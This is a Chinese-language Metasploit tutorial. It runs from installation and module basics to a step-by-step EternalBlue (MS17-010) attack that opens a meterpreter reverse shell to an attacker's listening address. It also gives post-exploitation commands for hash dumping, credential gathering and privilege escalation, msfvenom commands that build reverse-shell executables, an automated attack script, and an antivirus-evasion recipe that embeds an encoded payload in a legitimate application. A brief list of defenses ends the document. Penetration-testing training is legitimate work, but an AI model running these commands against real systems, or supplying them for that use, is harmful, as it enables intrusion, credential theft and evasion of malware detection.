一、Metasploit 简介
Metasploit 是一个开源的渗透测试框架,提供漏洞利用、Payload 生成、后渗透工具等功能,广泛应用于安全研究和渗透测试。其核心组件包括:
msfconsole
:主命令行交互界面。- 模块:分为
exploits
、payloads
、auxiliary
、post
等类型。 - 数据库支持:存储扫描结果和攻击数据。
二、安装与配置
1. 安装 Metasploit
- Kali Linux:安装过的,可以直接使用
打开kali Linux终端,输入msfconsole就能进入MSF操作页面
- 其他系统的安装方式:
# Debian/Ubuntu curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod +x msfinstall ./msfinstall # macOS (通过 Homebrew) brew install metasploit
2. 初始化数据库
msfdb init # 初始化数据库
msfconsole # 启动控制台
db_status # 检查数据库连接
三、基本命令与模块
1. 常用命令
命令 | 说明 |
---|---|
search [keyword] | 搜索模块(如 search eternalblue ) |
use [module] | 选择模块(如 use exploit/windows/smb/ms17_010_eternalblue ) |
show options | 查看模块所需参数 |
set [PARAM] [VALUE] | 设置参数(如 set RHOSTS 192.168.1.100 ) |
run 或 exploit | 执行模块 |
sessions -l | 列出已建立的会话 |
sessions -i [ID] | 进入指定会话 |
2. 模块类型
模块类型 | 说明 | 示例路径 |
---|---|---|
Exploit | 漏洞利用模块 | exploit/windows/smb/ms17_010_eternalblue |
Payload | 攻击成功后执行的代码(如反向 Shell) | payload/windows/meterpreter/reverse_tcp |
Auxiliary | 辅助模块(扫描、嗅探等) | auxiliary/scanner/smb/smb_version |
Post | 后渗透模块(提权、信息收集等) | post/windows/gather/credentials |
Encoder | 编码 Payload 以绕过检测 | encoder/x86/shikata_ga_nai |
四、实战示例:攻击 Windows SMB 漏洞(永恒之蓝)
步骤 1:选择 Exploit 模块
use exploit/windows/smb/ms17_010_eternalblue
步骤 2:配置参数
set RHOSTS 192.168.100.130 # 目标 IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp # 选择 Payload
set LHOST 192.168.1.10 # 攻击者 IP(监听地址)
set LPORT 4444 # 监听端口
步骤 3:执行攻击
exploit
成功后会进入 meterpreter
会话。
五、Meterpreter 后渗透操作
常用命令
命令 | 说明 |
---|---|
sysinfo | 查看目标系统信息 |
getuid | 查看当前权限 |
hashdump | 提取用户哈希 |
screenshot | 截取屏幕截图 |
upload [本地文件] [远程路径] | 上传文件到目标 |
download [远程文件] [本地路径] | 下载文件到本地 |
shell | 进入系统命令行 |
run post/windows/gather/enum_logged_on_users | 枚举登录用户 |
提权操作
# 尝试提权到 SYSTEM
use post/windows/escalate/getsystem
run
六、高级技巧
1. 生成独立 Payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.130 LPORT=4444 -f exe -o payload.exe
参数说明:
-p
指定 Payload,-f
指定输出格式,-o
输出文件。
2. 自动化攻击
使用 resource
脚本批量执行命令:
# 创建脚本文件 attack.rc
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.100.130
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit -z
msfconsole -r attack.rc # 执行脚本
3. 绕过杀毒软件(AV Evasion)
使用编码器和自定义模板:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.130 LPORT=4444 -e x86/shikata_ga_nai -i 5 -x legit_app.exe -f exe -o malicious.exe
七、防御措施
- 及时更新系统补丁:修复已知漏洞。
- 禁用不必要的服务:如 SMBv1。
- 部署防火墙/IDS:监控异常流量。
- 最小化权限原则:限制用户权限。